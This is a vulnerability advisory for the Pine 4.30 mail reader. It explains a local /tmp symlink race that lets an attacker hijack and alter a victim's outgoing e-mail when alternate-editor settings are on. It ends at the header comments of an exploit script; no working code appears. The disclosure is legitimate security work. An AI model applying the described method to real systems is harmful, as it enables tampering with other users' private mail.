Pine is a popular UNIX console based e-mail reader. Pine version 4.30 contains a security vulnerability that allows local users to link /tmp files used by pine to files owned by the attacker. This allows the attacker to modify and/or replace the content of e-mails sent by the users ('hijack' their outgoing e-mails).
If pine setting is as follows:
[x] enable-alternate-editor-cmd
[x] enable-alternate-editor-implicitly
editor = /usr/bin/vi
Pine creates it's temporary files in /tmp having the names like: /tmp/pico.007292(where 7292 is the pid of pine process running).
You can simply symlink this file (/tmp/pico.<pid>) to another file that doesn't exist. When the victim is editing an e-mail message, the victim's editor will follow the symlinks and create another file. By removing this symlink and creating your own temporary file and making it writable to the victim, you can hijack his mail message.
Exploit:
--------------------mon_pine.sh start--------------------------------
#!/bin/sh
# Grab local pine messages
# Usage: ./mon_pine.sh <pid of pine process>
# victim pine must use following settings
#
# mat@hacksware.com
# http://hacksware.com
#
# [x] enable-alternate-editor-cmd
# [x] enable-alternate-editor-implicitly
# editor = /usr/bin/vi
#
